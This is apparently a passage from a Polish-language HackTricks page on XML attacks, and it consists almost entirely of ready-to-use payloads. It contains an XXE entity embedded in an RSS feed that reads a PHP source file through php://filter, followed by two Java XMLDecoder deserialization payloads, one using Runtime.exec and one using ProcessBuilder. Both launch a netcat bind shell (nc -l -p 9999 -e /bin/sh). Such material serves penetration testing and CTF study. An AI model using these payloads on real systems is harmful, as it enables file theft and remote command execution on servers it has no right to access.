<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE do RCE

XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody readObject, natychmiast uzyska wykonanie kodu na serwerze.

Używanie Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Narzędzia

Odniesienia

Wsparcie dla HackTricks

Last updated